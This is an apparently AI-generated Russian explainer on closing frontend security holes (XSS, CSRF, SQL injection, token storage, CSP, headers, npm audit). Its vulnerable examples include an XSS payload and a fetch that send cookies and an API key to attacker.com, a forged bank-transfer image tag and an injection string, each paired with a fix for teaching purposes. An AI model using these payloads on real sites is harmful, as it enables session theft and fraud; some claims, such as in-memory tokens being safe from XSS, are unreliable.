Как закрывал уязвимости?
Комментарии (1)
Ответ сгенерирован нейросетью и может содержать ошибки
Как закрывал уязвимости
Безопасность — это критически важная часть разработки. У меня есть систематический подход к поиску и закрытию уязвимостей. Расскажу на примерах из реальной практики.
1. XSS (Cross-Site Scripting) — самая частая уязвимость на frontend
Проблема: вывод пользовательского ввода без санитизации
// УЯЗВИМО
function displayComment(comment) {
const div = document.createElement('div');
div.innerHTML = comment.text; // Если text содержит скрипт, он выполнится!
document.body.appendChild(div);
}
// Пример атаки:
const malicious = '<img src=x onerror="fetch(\'https://attacker.com\/?cookie=\' + document.cookie)">';
displayComment({ text: malicious });
// Скрипт украдёт cookies!
Решение 1: использовать textContent вместо innerHTML
// БЕЗОПАСНО
function displayComment(comment) {
const div = document.createElement('div');
div.textContent = comment.text; // Текст, не HTML
document.body.appendChild(div);
}
Решение 2: санитизировать HTML
import DOMPurify from 'dompurify';
function displayComment(comment) {
const div = document.createElement('div');
const clean = DOMPurify.sanitize(comment.text);
div.innerHTML = clean; // Теперь безопасно
document.body.appendChild(div);
}
Решение 3: React автоматически защищает от XSS
// React БЕЗОПАСЕН по умолчанию
function Comment({ text }) {
return <div>{text}</div>; // React экранирует HTML
}
// Это выведет текст буквально '<img ...>', не выполнит скрипт
const malicious = '<img src=x onerror="alert(1)">';
<Comment text={malicious} />
Если нужен HTML, используй dangerouslySetInnerHTML с санитизацией:
function Comment({ html }) {
const clean = DOMPurify.sanitize(html);
return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}
2. CSRF (Cross-Site Request Forgery)
Проблема: злоумышленник может заставить браузер сделать запрос от имени пользователя
<!-- На сайте attacker.com -->
<img src="https://mybank.com/transfer?to=attacker&amount=1000000">
<!-- Если пользователь авторизован на mybank.com, деньги пройдут! -->
Решение: CSRF tokens
// Backend отправляет token
const token = await fetch('/api/csrf-token').then(r => r.json());
// Frontend отправляет token с каждым изменяющим запросом
const response = await fetch('/api/transfer', {
method: 'POST',
headers: {
'X-CSRF-Token': token,
'Content-Type': 'application/json'
},
body: JSON.stringify({ to: 'alice', amount: 100 })
});
// Backend проверяет token и отклоняет без него
Или используй SameSite cookies:
// Backend устанавливает cookie с SameSite
Set-Cookie: session=abc123; SameSite=Strict; HttpOnly
// Браузер не отправит эту cookie на cross-site запросы
3. Injection атаки (SQL Injection на frontend)
Проблема: передача необработанного пользовательского ввода в API
// УЯЗВИМО
const username = getUserInput();
const query = `SELECT * FROM users WHERE name = '${username}'`;
fetch('/api/search', {
method: 'POST',
body: JSON.stringify({ query }) // Отправляем сырой query
});
// Если пользователь вводит: ' OR '1'='1
// Query становится: SELECT * FROM users WHERE name = '' OR '1'='1'
// Это вернёт всех пользователей!
Решение: параметризованные запросы
// БЕЗОПАСНО
const username = getUserInput();
const response = await fetch('/api/search', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
username // Передаём параметр отдельно
})
});
// Backend обрабатывает параметр безопасно:
// SELECT * FROM users WHERE name = $1 (с параметром, не конкатенацией)
4. Утечка данных в браузере
Проблема: хранение чувствительных данных в localStorage
// УЯЗВИМО
const token = 'secret-api-key-12345';
localStorage.setItem('apiKey', token); // Любой скрипт на сайте может прочитать!
// XSS атакующий может сделать:
const stolen = localStorage.getItem('apiKey');
fetch('https://attacker.com?key=' + stolen);
Решение 1: использовать httpOnly cookies
// Backend устанавливает cookie
Set-Cookie: authToken=abc123; HttpOnly; Secure; SameSite=Strict
// Frontend не может прочитать (защита от XSS)
// Браузер автоматически отправляет с запросами
Решение 2: если нужно хранить в JS, использовать memory
// Храним в памяти (теряется при перезагрузке)
let authToken = null;
function setAuthToken(token) {
authToken = token;
}
function getAuthToken() {
return authToken;
}
// XSS атакующий не сможет прочитать (это локальная переменная)
5. Проверка происхождения (Origin validation)
Проблема: обработка запросов с неправильного origin
// Backend должен проверить Origin header
const origin = req.headers['origin'];
if (!['https://mysite.com', 'https://www.mysite.com'].includes(origin)) {
return res.status(403).send('Forbidden');
}
// Frontend обычно в этом не виноват, но может проверить
if (window.location.origin !== 'https://mysite.com') {
throw new Error('Invalid origin');
}
6. Проверка и валидация данных
Проблема: доверие к пользовательским данным
// УЯЗВИМО
const user = JSON.parse(userData);
if (user.isAdmin) {
// Показываем admin панель
}
// Пользователь может изменить { isAdmin: true } в DevTools!
Решение: всегда проверять на backend
// Frontend может проверить для UX
if (user.isAdmin) {
showAdminUI();
}
// Но backend ДОЛЖЕН проверить для безопасности
GET /api/admin/users
// Backend проверяет: является ли пользователь админом?
// Из сессии, не из пользовательских данных
if (!user.isAdmin) {
return res.status(403).send('Access denied');
}
return admins;
7. Content Security Policy (CSP)
Проблема: XSS атаки
<!-- Отправляем CSP header из backend -->
Content-Security-Policy:
default-src 'self';
script-src 'self' cdn.example.com;
style-src 'self' 'unsafe-inline';
img-src *;
connect-src 'self' api.example.com
<!-- Что это делает? -->
<!-- - Скрипты только с этого сайта и cdn.example.com -->
<!-- - Встроенные скрипты <script>alert(1)</script> НЕ выполнятся -->
<!-- - Стили только с этого сайта -->
<!-- - Картинки откуда угодно -->
<!-- - Fetch/XHR только на этот сайт и api.example.com -->
8. Dependency vulnerabilities
Проблема: уязвимости в npm пакетах
# Проверяем уязвимости
npm audit
# Результат:
# vulnerabilities found:
# 5 low, 2 moderate, 1 high
# Автоматически обновляем
npm audit fix
# Или вручную
npm update package-name@latest
Решение: регулярно проверяем и обновляем
{
"scripts": {
"audit": "npm audit --audit-level=high",
"ci": "npm audit && npm test"
}
}
9. Secure headers
Проблема: браузер может выполнить опасные операции
// Backend должен отправить правильные headers
X-Content-Type-Options: nosniff // Браузер не гадает MIME тип
X-Frame-Options: DENY // Страница не может быть встроена в iframe
X-XSS-Protection: 1; mode=block // Старый способ защиты от XSS
Strict-Transport-Security: max-age=31536000 // Только HTTPS
Referrer-Policy: strict-origin-when-cross-origin // Минимум данных в Referer
10. Мой систематический подход
Шаг 1: Code Review
- Смотрю на innerHTML, eval, new Function
- Проверяю валидацию пользовательского ввода
- Проверяю, где хранятся токены
- Смотрю на кросс-origin запросы
Шаг 2: Тестирование
npm audit # Проверяю dependencies
npm run lint # Статический анализ
npm run test # Unit тесты (в т.ч. security тесты)
Шаг 3: Security headers
- Проверяю, что backend отправляет правильные headers
- Убеждаюсь, что используется HTTPS
- Проверяю CORS конфигурацию
Шаг 4: Dependency scanning
# Регулярно
npm audit
# В CI/CD pipeline
Шаг 5: Практическое тестирование
- Пытаюсь ввести
<img src=x onerror="alert(1)"> - Пытаюсь изменить localStorage и увидеть, влияет ли на функционал
- Проверяю cookies в DevTools (есть ли HttpOnly, Secure, SameSite)
Ключевой вывод
Основные уязвимости на frontend и их решения:
- XSS — используй textContent, санитизируй, React защищает автоматически
- CSRF — используй CSRF tokens или SameSite cookies
- Injection — не конкатенируй пользовательские данные в запросы, передавай параметрами
- Утечка данных — используй httpOnly cookies, не храни в localStorage
- Validation — проверяй на backend, не верь пользовательским данным
- CSP — используй Content-Security-Policy headers
- Dependencies — регулярно обновляй и проверяй через npm audit
- Headers — убедись, что backend отправляет правильные security headers
Главное правило: никогда не доверяй пользовательским данным. Backend — единственный авторитет.